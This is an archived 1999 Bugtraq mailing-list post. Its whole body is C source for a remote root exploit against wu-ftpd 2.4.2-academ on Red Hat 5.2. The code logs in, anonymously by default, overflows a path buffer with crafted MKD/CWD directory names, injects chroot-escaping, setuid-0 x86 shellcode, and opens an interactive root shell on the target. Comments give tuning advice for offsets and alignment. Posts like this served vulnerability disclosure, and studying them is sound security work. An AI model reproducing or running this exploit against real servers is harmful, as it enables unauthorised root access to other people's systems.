Everhart, Glenn
From:	Pieter Nieuwenhuijsen [pietern@XS4ALL.NL]
Sent:	Monday, March 22, 1999 11:10 AM
To:	BUGTRAQ@NETSPACE.ORG
Subject:	ftp exploit
/*
        THIS IS PRIVATE! DO NOT DISTRIBUTE!!!!   PRIVATE!

        WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1)
        for linux x86 (redhat 5.2)

        by duke
        duke@viper.net.au

        BIG thanks to stran9er for alot of help with part of the shellcode!
        i fear stran9er, but who doesn't? !@$ :)

        Greets to: #!ADM, el8.org users,

        To exploit this remotely they need to have a directory you can
        have write privlidges to.. this is the <dir> argument.. you can
        also use this locally by specifying -l <ur login> -p <urpass> with the
        <dir> = your home directory or something..(must begin with '/')
        also alignment arg is how return address  is aligned.. shouldnt need it,
        but if u do it should be between 0 and 3

        It takes about 10 seconds after "logged in" so be patient.
        -duke
*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
//#include <linux/time.h>
//#include <sys/select.h>
#include <sys/time.h>
#include <unistd.h>

#define RET 0xbfffa80f

void logintoftp();
void sh();
void mkd(char *);
int max(int, int);
long getip(char *name);

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
"\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
"\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
"\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
"\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03"
"\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89"
"\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
"\x80\xe8\xac\xff\xff\xff";

char tmp[256];
char name[128], pass[128];

int sockfd;

int main(int argc, char **argv)
{
        char sendln[1024], recvln[4048], buf1[800], buf2[1000];
        char *p, *q, arg, **fakeargv = (char **) malloc(sizeof(char *)*(argc + 1));
        int len, offset = 0, i, align=0;
        struct sockaddr_in cli;

        if(argc < 3){
                printf("usage: %s <host> <dir> [-l name] [-p pass] [-a <alignment>] [-o offset]\n", argv[0]);
                exit(0);
        }

        for(i=0; i < argc; i++) {
          fakeargv[i] = (char *)malloc(strlen(argv[i]) + 1);
          strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1);
        }

        fakeargv[argc] = NULL;


        while((arg = getopt(argc,fakeargv,"l:p:a:o:")) != EOF){
            switch(arg) {
                  case 'l':
                     strncpy(name,optarg,128);
                     break;
                  case 'p':
                     strncpy(pass,optarg,128);
                     break;
                  case 'a':
                     align=atoi(optarg);
                     break;
                  case 'o':
                     offset=atoi(optarg);
                     break;
                  default:
                     printf("usage: %s <host> <dir> [-l name] [-p pass] [-a <alignment>] [-o offset]\n", argv[0]);
                     exit(0);
                     break;
             }
        }

        if(name[0] == 0) strcpy(name, "anonymous");
        if(pass[0] == 0) strcpy(pass, "hi@blahblah.net");


        bzero(&cli, sizeof(cli));
        bzero(recvln, sizeof(recvln));
        bzero(sendln, sizeof(sendln));
        cli.sin_family = AF_INET;
        cli.sin_port = htons(21);
        cli.sin_addr.s_addr=getip(argv[1]);

        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
                perror("socket");
                exit(0);
        }

        if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
                perror("connect");
                exit(0);
        }
        while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
                recvln[len] = '\0';
                if(strchr(recvln, '\n') != NULL)
                        break;
        }
        logintoftp(sockfd);
        printf("logged in.\n");
        bzero(sendln, sizeof(sendln));

        for(i=align; i<996; i+=4)
                *(long *)&buf2[i] = RET + offset;
        memcpy(buf2, "a", align);
        memset(buf1, 0x90, 800);
        memcpy(buf1, argv[2], strlen(argv[2]));
        mkd(argv[2]);
        p = &buf1[strlen(argv[2])];
        q = &buf1[799];
        *q = '\x0';
        while(p <= q){
                strncpy(tmp, p, 200);
                mkd(tmp);
                p+=200;
        }
        mkd(shellcode);
        mkd("bin");
        mkd("sh");
        p = &buf2[0];
        q = &buf2[999];
        while(p <= q){
                strncpy(tmp, p, 250);
                mkd(tmp);
                p+=250;
        }
        sh(sockfd);


        close(sockfd);
        printf("finit.\n");
}

void mkd(char *dir)
{
        char snd[512], rcv[1024];
        char blah[1024], *p;
        int n;
        struct timeval tv;

        fd_set fds;
        bzero(&tv, sizeof(tv));
        tv.tv_usec=50;
        bzero(blah, sizeof(blah));
        p = blah;
         for(n=0; n<strlen(dir); n++){
                if(dir[n] == '\xff'){
                        *p = '\xff';
                        p++;
                }
                *p = dir[n];
                p++;
        }
        sprintf(snd, "MKD %s\r\n", blah);
        write(sockfd, snd, strlen(snd));
        bzero(snd, sizeof(snd));
        sprintf(snd, "CWD %s\r\n", blah);
        write(sockfd, snd, strlen(snd));
        bzero(rcv, sizeof(rcv));

        FD_ZERO(&fds);
        FD_SET(sockfd,&fds);
        select(sockfd+1,&fds,NULL,NULL,&tv);

        if (FD_ISSET(sockfd,&fds))
                while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
                        rcv[n] = 0;
                        if(strchr(rcv, '\n') != NULL)
                                break;
                }
        return;
}

void logintoftp()
{
        char snd[1024], rcv[1024];
        int n;

        printf("logging in with %s: %s\n", name, pass);
        memset(snd, '\0', 1024);
        sprintf(snd, "USER %s\r\n", name);
        write(sockfd, snd, strlen(snd));

        while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
                rcv[n] = 0;
                if(strchr(rcv, '\n') != NULL)
                        break;
        }

        memset(snd, '\0', 1024);
        sprintf(snd, "PASS %s\r\n", pass);
        write(sockfd, snd, strlen(snd));

        while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
                rcv[n] = 0;
                if(strchr(rcv, '\n') != NULL)
                        break;
        }
        return;
}

void sh()
{
        char snd[1024], rcv[1024];
        fd_set rset;
        int maxfd, n;

        strcpy(snd, "cd /; uname -a; pwd; id;\n");
        write(sockfd, snd, strlen(snd));

        for(;;){
                FD_SET(fileno(stdin), &rset);
                FD_SET(sockfd, &rset);
                maxfd = max(fileno(stdin), sockfd) + 1;
                select(maxfd, &rset, NULL, NULL, NULL);
                if(FD_ISSET(fileno(stdin), &rset)){
                        bzero(snd, sizeof(snd));
                        fgets(snd, sizeof(snd)-2, stdin);
                        write(sockfd, snd, strlen(snd));
                }
                if(FD_ISSET(sockfd, &rset)){
                        bzero(rcv, sizeof(rcv));
                        if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
                                printf("EOF.\n");
                                exit(0);
                        }
                        if(n < 0){
                                perror("read");
                                exit(-1);
                        }
                        fputs(rcv, stdout);
                }
        }
}

int max(int x, int y)
{
        if(x > y)
                return(x);
        return(y);
}

long getip(char *name)
{
        struct hostent *hp;
        long ip;

        if ((ip=inet_addr(name))==-1)
        {
                if ((hp=gethostbyname(name))==NULL)
                {
                        fprintf(stderr,"Can't resolve host.\n");
                        exit (1);
                }
                memcpy(&ip, (hp->h_addr), 4);
        }
        return ip;
}